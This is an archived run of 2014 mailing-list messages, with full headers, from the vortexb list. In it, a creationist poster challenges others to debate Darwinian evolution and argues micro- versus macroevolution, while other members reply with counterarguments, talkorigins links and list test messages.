uRJDlrC3WIV9hP4hmP9P2B5EkazTNutSpi0JyhigQt2C9K0eHp7KGCDpV1i+ATtMe0 ax26SivtFK33mcFJxCKNcT+LHQtsBSpw9z7Gu2q6ENPpkoHwClfWnifl7LSVj9a+Mo mW1PC9ekKI7WWRj85l5AMCw+4qRGvknlS3SCLSYRI0d1TjhlLGSIQ7CFQA728sAbYD jcWeKpqFdadfg== Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4720 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Sun, 31 Aug 2014 16:15:00 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 961 There's a website with a huge amount of proof of evolution here: http://www.talkorigins.org/ Its FAQ page is very interesting and educational: http://www.talkorigins.org/origins/faqs-qa.html Linked from the FAQ, Irreducible Complexity is completely reduced: http://www.talkorigins.org/faqs/behe.html http://www.talkorigins.org/faqs/comdesc/ICsilly.html http://www.talkdesign.org/faqs/icdmyst/ICDmyst.html And here is a favorite cartoon: https://i.imgur.com/j7qmYAE.jpg On Sun, Aug 31, 2014 at 06:08:13PM -0400, Terry Blanton wrote: >I have responded on vortexb; so, just hit reply to my message to >respond on that list. > >On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart wrote: >> Folks, things are slow here, but some crybabies are complaining that I am >> cluttering VortexL, burdening them and imposing on them. So, I am not >> going to start a new Darwinian Evolution thread here. >> >> But, I am issuing a challenge to anyone who thinks they understand Darwinian >> Evolution better than me, to please show up in VortexB and debate it with >> me. Heck, you have "thousands of books" with "irrefutable proof"; so >> dispatching me with your "well-informed" retorts should be easy. You should >> be able to dismantle my "fairy-land" arguments quickly. >> >> So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, jwinter?, >> Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a try to silence me >> and a chance to embarrass me and put me back into my fairyland? >> >> Please indicate your willingness to participate in VortexB, by responding on >> this thread. If there are enough people accepting my challenge, I will get >> the ball rolling by posting on Irreducible Complexity. Or, you can start >> the ball rolling by posting a Darwinian Evolution topic of your choice in >> VortexB. Don't start the discussion here, lest we "burden" and "impose" on >> the deep thinking and meditation of some people. >> >> If you don't accept my challenge, please have enough integrity to forever >> not refer to my beliefs as a fairytale. Fair Enough? Put up or shut up. >> >> Oh, please don't hide behind your "I don't want to waste time" or "I don't >> want to debate cause that will only give them some credibility" nonsense. I >> am mocking your beliefs. I am mocking the stupidity of Darwinian Evolution >> and questioning the intelligence of those who believe in it.. Stand up and >> defend it with your honor. Let's have fun!!! >> >> Jojo From vortexb-l-request@eskimo.com Sun Aug 31 19:49:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=BAYES_50,FORGED_HOTMAIL_RCVD2, HTML_MESSAGE,MIME_HTML_MOSTLY,NO_RELAYS,PYZOR_CHECK,SPF_PASS,TVD_SPACE_RATIO autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id CE67737AB; Sun, 31 Aug 2014 19:49:32 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (hotmail.com: Sender is authorized to use 'jthao1@hotmail.com' in 'mfrom' identity (mechanism 'include:spf-a.hotmail.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="jthao1@hotmail.com"; helo=BLU004-OMC2S33.hotmail.com; client-ip=65.55.111.108 X-TMN: [9R4jCK04n0Im5AJtj3Smu3xcSRGiENDN] X-Originating-Email: [jthao1@hotmail.com] Message-ID: From: Jojo Jaro To: Date: Mon, 1 Sep 2014 10:49:15 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_08AF_01CFC5D2.5F79DE20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 X-OriginalArrivalTime: 01 Sep 2014 02:49:30.0044 (UTC) FILETIME=[5A258FC0:01CFC58F] Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4721 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Resent-Date: Sun, 31 Aug 2014 19:49:32 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 962 ------=_NextPart_000_08AF_01CFC5D2.5F79DE20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_08AF_01CFC5D2.5F79DE20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_08AF_01CFC5D2.5F79DE20-- From vortexb-l-request@eskimo.com Mon Sep 1 05:57:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: *** X-Spam-Status: No, score=3.1 required=5.0 tests=BAYES_50,DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED,NO_RELAYS,SPF_PASS,STOX_REPLY_TYPE,STOX_REPLY_TYPE_WITHOUT_QUOTES, T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id B819C4991; Mon, 1 Sep 2014 05:57:04 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'jojoiznart65@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="jojoiznart65@gmail.com"; helo=mail-pd0-f182.google.com; client-ip=209.85.192.182 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:from:to:references:subject:date:mime-version :content-type:content-transfer-encoding; bh=kTpAhH83YECmULpu2OlzAowHr/m28LWdbEPtxCT61HA=; b=gOLerGNMrslo18K4ZTu6me/Kg0dzCoE5nytk72cZA/bm7jfCjpIFIMyIwAil771lbl rB/9kr0vKSQp7ZdfdSBP3t+4idWuIEaiNEswiFCAZ1f8YjDFu0eFCD7ij+PqH7N83O9W jH+pMKGuCngCIWNXwkKKOj/vNb9MuBfG/RfwBYxEGIQJwamNgWk7aaVGXkMVVtK21vNA zUTAZ7MF0uP2ixpt/jS23dOMXQrUSJkzWqxrJZrL9UX2iMLJg2+9CC9o/fR0SLYfVV0t yr/Cms1RwLBDA/RyoJ9u6VVHmsNPpo8iXE9xJbCC4qMvs6HtFtp44ucZo6EJZqt25fV0 ZDXg== X-Received: by 10.67.4.230 with SMTP id ch6mr17738694pad.109.1409576224206; Mon, 01 Sep 2014 05:57:04 -0700 (PDT) Message-ID: From: "Jojo Iznart" To: References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> Date: Mon, 1 Sep 2014 20:56:45 +0800 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4722 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Micro vs. Macro Evolution Resent-Date: Mon, 1 Sep 2014 05:57:04 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 963 Your first point is the best place to start discussion. You ask me if I deny that the changes we see in biological changes are not evolution? My answer is - it is evolution, but not the kind that Darwin espouses. Changes in for example dogs and hundreds of varieties of dogs are evolution - microevolution as opposed to macroevolution. Micro or Macro has nothing to do with number of changes or size or degree of changes. It has something to do with the mechanism of evolution. Microevolution is simply adaptation or variation within a species or kind. The changes that drive microevolution are already encoded in the species DNA. Certain traits are expressed resulting is variation and adaptation of the individual. Microevolution occurs within short timeframes - many times within the lifetime of the individual. These changes are then passed on to progeny, which retain the changes. What I deny as false and a lie is Macro-evolution or speciation. One kind never changes into another kind. You can observe variation within a kind but never a jump from one kind to another. (Notice that I use the word "Kind" instead of "species"; mainly because we don't even have a proper definition of what a "species" is.) So yes, I deny Macroevolution but acknowledge microevolution. Microevolution is observable everyday while Macroevolution has never been observed anywhere whether in living biological systems or in fossils. All fossil evidence of so called "transition" species are simply variation within that kind The next logical fallacy that most people fall into is to assume that many many microevolutionary changes over long long periods will inevitably result in Macroevolution. That is not true. This is just an assumption that seems valid until closer examination. Macroevolution is driven by mutations which confer a survival advantages which is then acted by "natural selection" (survival of the fittest). Hence changes are conferred on a generational basis involving long long times. This is one of the problems of Darwinian Evolution. There just isn't time for this mechansim to work. The Universe even by your standards is not old enough. It is only 16 billion years old. Just a tick of time for the process of mutational changes to confer survival advantages and natural selection. Jojo ----- Original Message ----- From: "JAMES NEWTON-THOMAS" To: Sent: Monday, September 01, 2014 8:07 PM Subject: Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Hi Jojo, I am happy to debate with you because I find people who hold unsupportable theories interesting. An emotional commitment to an irrational position is an all too common occurrence and to a large extent is the bane of the World. I may not understand Darwinian evolution as well as you, but I know I understand science better than you do. Before embarking on any debate you must understand that theories are never 'proven' rather they can only be disproven by evidence. Where, there are overlapping theories then we can apply principles such as Occam's razor to give us a statistical direction but this is not the same thing as proof. There is no such thing as proof to a scientific theory, it is a conjecture, but unlike mathematics, no proof can ever be given as such proofs are always relative to the set of observation. So, back to Darwinian evolution. Presumably you do not deny 'evolution' exists as a process, rather you think that the changes we observe in biological systems are not evolutionary changes but rather are guided by something else? Let me start with a question: when we breed dogs, causing 'billions of changes' by selective breeding over the course of tens of years, do you consider this evolution? James Sent from my iPad= From vortexb-l-request@eskimo.com Mon Sep 1 15:10:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=BAYES_00,HTML_MESSAGE, NO_RELAYS,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 5595F48ED; Mon, 1 Sep 2014 15:10:04 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (charter.net: 216.33.127.80 is authorized to use 'orionworks@charter.net' in 'mfrom' identity (mechanism 'ip4:216.33.127.0/24' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="orionworks@charter.net"; helo=mta11.charter.net; client-ip=216.33.127.80 X-Authority-Analysis: v=2.1 cv=TI7LSjVa c=1 sm=1 tr=0 a=beX++tHlWojwcWYlGtIyKw==:117 a=beX++tHlWojwcWYlGtIyKw==:17 a=hOpmn2quAAAA:8 a=yUnIBFQkZM0A:10 a=Pyq9K9CWowscuQLKlpiwfMBGOR0=:19 a=DAwyPP_o2Byb1YXLmDAA:9 a=Zr7miEi8wWIA:10 a=cKsnjEOsciEA:10 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=Xnt-TIC7ebhNw5110zsA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=z5IHr4SdECJQsxA-ACsA:9 a=U1cu6-qFW6IHSFlv:21 a=gKO2Hq4RSVkA:10 a=UiCQ7L4-1S4A:10 a=hTZeC7Yk6K0A:10 a=frz4AuCg-hUA:10 a=af5HCJywdBAA:10 From: "Orionworks - Steven Vincent Johnson" To: References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> In-Reply-To: Date: Mon, 1 Sep 2014 17:10:21 -0500 Message-ID: <008a01cfc631$8617fd50$9247f7f0$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_008B_01CFC607.9D41F550" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac/F5DuW83Ekqu/oRkqmOwJDEMfbXwAS57ig Content-Language: en-us x-cr-hashedpuzzle: ABJc BA1s BGKx B9C6 DiMP Drr9 FPqC FbTQ Fh/m Fj5w GFTy GUuI HQ8M INsy I0lR Kv01;1;dgBvAHIAdABlAHgAYgAtAGwAQABlAHMAawBpAG0AbwAuAGMAbwBtAA==;Sosha1_v1;7;{A3A7C441-7B19-4499-8385-D83693751C10};bwByAGkAbwBuAHcAbwByAGsAcwBAAGMAaABhAHIAdABlAHIALgBuAGUAdAA=;Mon, 01 Sep 2014 22:10:20 GMT;TwBuACAAeQBvAHUAcgAgAG0AaQBuAGQA x-cr-puzzleid: {A3A7C441-7B19-4499-8385-D83693751C10} Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4723 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:On your mind Resent-Date: Mon, 1 Sep 2014 15:10:04 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 964 This is a multipart message in MIME format. ------=_NextPart_000_008B_01CFC607.9D41F550 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit > Steven, I appreciate your point of view. > I will respond this last time on this subject matter here and then I will > move the discussion to VortexB and if you are willing to continue this discussion, > meet me over there. I think it's fun to try to understand another's point of view. Jojo, it's worth my time trying understand where you're coming from well. It expands my awareness. I only hope there has been some reciprocation . Life being as busy as it is these days, one can never guarantee how much time we can spend on vortexb discussing the infinite mysteries of the universe. Nor can we predict what we can agree on, nor what we will never be able to agree on. Let's just play it by ear and see what gets shaken out of the tree. One apple at a time. Let me start rolling one of those fallen apples in a random direction: All I can say in my own defense is that the older I get (I just turned 62, Aug 18) it would seem that what I thought I knew about how the Universe works I really didn't know at all. Fortunately, I'm beginning to realize that this is not necessarily a bad thing to realize. Not a bad thing at all. BTW, that applies to myself as well. What's on your mind? Regards, Steven Vincent Johnson svjart.orionworks.com zazzle.com/orionworks ------=_NextPart_000_008B_01CFC607.9D41F550 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

> Steven, I appreciate your point of view.

 

> I will respond this last time on this subject matter here and then I = will

> move the discussion to VortexB and if you are willing to continue this discussion,

> meet me over there.  I think it's fun to try to understand = another's point of view.

 

Jojo, it's worth my time trying understand where you're coming from well. It = expands my awareness. I only hope there has been some reciprocation = .

 

Life being as busy as it is these days, one can never guarantee how much time = we can spend on vortexb discussing the infinite mysteries of the universe. Nor = can we predict what we can agree on, nor what we will never be able to agree = on. Let's just play it by ear and see what gets shaken out of the tree. One apple = at a time.

 

Let me start rolling one of those fallen apples in a random direction: =

 

All I can say in my own defense is that the older I get (I just turned 62, = Aug 18) it would seem that what I thought I knew about how the Universe works I = really didn't know at all. Fortunately, I'm beginning to realize that this is = not necessarily a bad thing to realize. Not a bad thing at all. BTW, that = applies to myself as well.

 

What's on your mind?

 

Regards,=

Steven Vincent Johnson

svjart.orionw= orks.com

zazzle.com/or= ionworks

------=_NextPart_000_008B_01CFC607.9D41F550-- From vortexb-l-request@eskimo.com Mon Sep 1 15:17:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 020F73E65; Mon, 1 Sep 2014 15:16:59 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (charter.net: 216.33.127.81 is authorized to use 'orionworks@charter.net' in 'mfrom' identity (mechanism 'ip4:216.33.127.0/24' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="orionworks@charter.net"; helo=mta21.charter.net; client-ip=216.33.127.81 X-Authority-Analysis: v=2.1 cv=I5nrRbQg c=1 sm=1 tr=0 a=beX++tHlWojwcWYlGtIyKw==:117 a=beX++tHlWojwcWYlGtIyKw==:17 a=hOpmn2quAAAA:8 a=8wn4ygdijX4A:10 a=VD4eGXrO55YA:10 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=Pyq9K9CWowscuQLKlpiwfMBGOR0=:19 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=Fdw-uqey2-Ea5Z7BXtwA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=vZmf-O2MBJYA:10 a=pvD0fMzdIp8A:10 From: "Orionworks - Steven Vincent Johnson" To: References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> In-Reply-To: Subject: RE: [VoB]:Micro vs. Macro Evolution Date: Mon, 1 Sep 2014 17:17:17 -0500 Message-ID: <008f01cfc632$7dd1f550$7975dff0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac/F5DuW83Ekqu/oRkqmOwJDEMfbXwATd68A Content-Language: en-us x-cr-hashedpuzzle: oqY= AcVF A7n0 BBdB BCAa BSMx B0DK CIlY FS+e FX0q Fpr+ GAA6 HqSj IJ2X I0U0 KKwi;1;dgBvAHIAdABlAHgAYgAtAGwAQABlAHMAawBpAG0AbwAuAGMAbwBtAA==;Sosha1_v1;7;{982F1E98-0CE1-4701-9B69-1665113C406F};bwByAGkAbwBuAHcAbwByAGsAcwBAAGMAaABhAHIAdABlAHIALgBuAGUAdAA=;Mon, 01 Sep 2014 22:17:16 GMT;UgBFADoAIABbAFYAbwBCAF0AOgBNAGkAYwByAG8AIAB2AHMALgAgAE0AYQBjAHIAbwAgAEUAdgBvAGwAdQB0AGkAbwBuAA== x-cr-puzzleid: {982F1E98-0CE1-4701-9B69-1665113C406F} Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4724 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Mon, 1 Sep 2014 15:16:59 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 965 Just performing a test to see if I get this back from VoB. Regards, Steven Vincent Johnson svjart.orionworks.com zazzle.com/orionworks From vortexb-l-request@eskimo.com Mon Sep 1 17:15:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=BAYES_20,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id CE0093840; Mon, 1 Sep 2014 17:15:31 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (charter.net: 216.33.127.81 is authorized to use 'zeropoint@charter.net' in 'mfrom' identity (mechanism 'ip4:216.33.127.0/24' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="zeropoint@charter.net"; helo=mta21.charter.net; client-ip=216.33.127.81 X-Authority-Analysis: v=2.1 cv=QYrov6rv c=1 sm=1 tr=0 a=nkWhZ/CIvTW+B+g8pjqMvw==:117 a=nkWhZ/CIvTW+B+g8pjqMvw==:17 a=hOpmn2quAAAA:8 a=8wn4ygdijX4A:10 a=VD4eGXrO55YA:10 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=Pyq9K9CWowscuQLKlpiwfMBGOR0=:19 a=yTIk75XiAAAA:8 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=gSA1MFNjsSdTJqP1ZWAA:9 a=CjuIK1q_8ugA:10 a=a7PFw65wiaUA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=hUswqBWy9Q8A:10 a=8PGfyiCYVrkA:10 a=3qcfnFjLOFsA:10 a=X7nHEA5zsSoA:10 From: "MarkI-ZeroPoint" To: References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> <008f01cfc632$7dd1f550$7975dff0$@net> In-Reply-To: <008f01cfc632$7dd1f550$7975dff0$@net> Subject: RE: [VoB]:Micro vs. Macro Evolution Date: Mon, 1 Sep 2014 17:15:30 -0700 Message-ID: <00e801cfc643$01c8f790$055ae6b0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 thread-index: Ac/F5DuW83Ekqu/oRkqmOwJDEMfbXwATd68AAAQefKA= Content-Language: en-us Resent-Message-ID: <1vBOwzMxicI.A.yK.jwQBUB@mx2.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4725 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Mon, 1 Sep 2014 17:15:31 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 966 Hi Steven! It made it to Reno! Hope you and fam are all well... -mark iverson -----Original Message----- From: Orionworks - Steven Vincent Johnson [mailto:orionworks@charter.net] Sent: Monday, September 01, 2014 3:17 PM To: vortexb-l@eskimo.com Subject: RE: [VoB]:Micro vs. Macro Evolution Just performing a test to see if I get this back from VoB. Regards, Steven Vincent Johnson svjart.orionworks.com zazzle.com/orionworks From vortexb-l-request@eskimo.com Mon Sep 1 17:35:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.8 required=5.0 tests=BAYES_50,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 088564943; Mon, 1 Sep 2014 17:35:25 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (ptd.net: 204.186.204.108 is authorized to use 'revtec@ptd.net' in 'mfrom' identity (mechanism 'ip4:204.186.204.0/24' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="revtec@ptd.net"; helo=proxyz16.mailnet.ptd.net; client-ip=204.186.204.108 From: "Jeff Fink" To: References: <900F17DE58024E069632DC9FEC599D28@msi> In-Reply-To: Subject: RE: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Date: Mon, 1 Sep 2014 19:35:11 -0500 Message-ID: <02a101cfc645$c1b8a3a0$4529eae0$@ptd.net> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQLHAXZ2/oG/5nAKf2mdmWl+6aysygIIC5P4me5H3iA= Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4726 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Mon, 1 Sep 2014 17:35:24 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 967 I will be attentive to the discussion and making some contributions. -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com]=20 Sent: Sunday, August 31, 2014 5:08 PM To: vortexb-l@eskimo.com Subject: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with = me in VortexB I have responded on vortexb; so, just hit reply to my message to respond = on that list. On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart = wrote: > Folks, things are slow here, but some crybabies are complaining that I = am > cluttering VortexL, burdening them and imposing on them. So, I am = not > going to start a new Darwinian Evolution thread here. > > But, I am issuing a challenge to anyone who thinks they understand=20 > Darwinian Evolution better than me, to please show up in VortexB and=20 > debate it with me. Heck, you have "thousands of books" with=20 > "irrefutable proof"; so dispatching me with your "well-informed"=20 > retorts should be easy. You should be able to dismantle my = "fairy-land" arguments quickly. > > So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?,=20 > jwinter?, Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a=20 > try to silence me and a chance to embarrass me and put me back into my = fairyland? > > Please indicate your willingness to participate in VortexB, by=20 > responding on this thread. If there are enough people accepting my=20 > challenge, I will get the ball rolling by posting on Irreducible=20 > Complexity. Or, you can start the ball rolling by posting a Darwinian = > Evolution topic of your choice in VortexB. Don't start the discussion = > here, lest we "burden" and "impose" on the deep thinking and = meditation of some people. > > If you don't accept my challenge, please have enough integrity to=20 > forever not refer to my beliefs as a fairytale. Fair Enough? Put up = or shut up. > > Oh, please don't hide behind your "I don't want to waste time" or "I=20 > don't want to debate cause that will only give them some credibility"=20 > nonsense. I am mocking your beliefs. I am mocking the stupidity of=20 > Darwinian Evolution and questioning the intelligence of those who=20 > believe in it.. Stand up and defend it with your honor. Let's have = fun!!! > > > > > > Jojo > > From vortexb-l-request@eskimo.com Mon Sep 1 17:54:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: * X-Spam-Status: No, score=1.8 required=5.0 tests=BAYES_50,HTML_MESSAGE, NO_RELAYS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 0FBF348C4; Mon, 1 Sep 2014 17:54:58 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: none (cyllene.uwa.edu.au: No applicable sender policy available) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="jwinter@cyllene.uwa.edu.au"; helo=mail-ext-out1.uwa.edu.au; client-ip=130.95.3.210 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmoHAMoUBVSCX4DP/2dsb2JhbABZg2BXiFe/JAEJh08BgSl3hAQBAQQBAQF1EQsYCRYPCQMCAQIBRQUBDQgBAYg+DbUIhQ4BF49UhEwFiyqOYYQGhgKNZ4NuXwGCTgEBAQ X-IPAS-Result: AmoHAMoUBVSCX4DP/2dsb2JhbABZg2BXiFe/JAEJh08BgSl3hAQBAQQBAQF1EQsYCRYPCQMCAQIBRQUBDQgBAYg+DbUIhQ4BF49UhEwFiyqOYYQGhgKNZ4NuXwGCTgEBAQ X-IronPort-AV: E=Sophos;i="5.04,446,1406563200"; d="scan'208,217";a="89629060" Message-ID: <5405154E.1040500@cyllene.uwa.edu.au> Date: Tue, 02 Sep 2014 08:54:38 +0800 From: jwinter@cyllene.uwa.edu.au User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: "vortexb-l@eskimo.com" Subject: Re: [VoB]:Micro vs. Macro Evolution References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> In-Reply-To: Content-Type: multipart/alternative; boundary="------------090704050305010502050407" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4727 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Mon, 1 Sep 2014 17:54:57 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 968 This is a multi-part message in MIME format. --------------090704050305010502050407 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 1/09/2014 8:56 PM, Jojo Iznart wrote: > Your first point is the best place to start discussion. > > You ask me if I deny that the changes we see in biological changes are not > evolution? My answer is - it is evolution, but not the kind that Darwin > espouses. > > Changes in for example dogs and hundreds of varieties of dogs are > evolution - microevolution as opposed to macroevolution. Micro or Macro has > nothing to do with number of changes or size or degree of changes. It has > something to do with the mechanism of evolution. Microevolution is simply > adaptation or variation within a species or kind. The changes that drive > microevolution are already encoded in the species DNA. Certain traits are > expressed resulting is variation and adaptation of the individual. > Microevolution occurs within short timeframes - many times within the > lifetime of the individual. These changes are then passed on to progeny, > which retain the changes. > > What I deny as false and a lie is Macro-evolution or speciation. One kind > never changes into another kind. You can observe variation within a kind > but never a jump from one kind to another. (Notice that I use the word > "Kind" instead of "species"; mainly because we don't even have a proper > definition of what a "species" is.) So yes, I deny Macroevolution but > acknowledge microevolution. Microevolution is observable everyday while > Macroevolution has never been observed anywhere 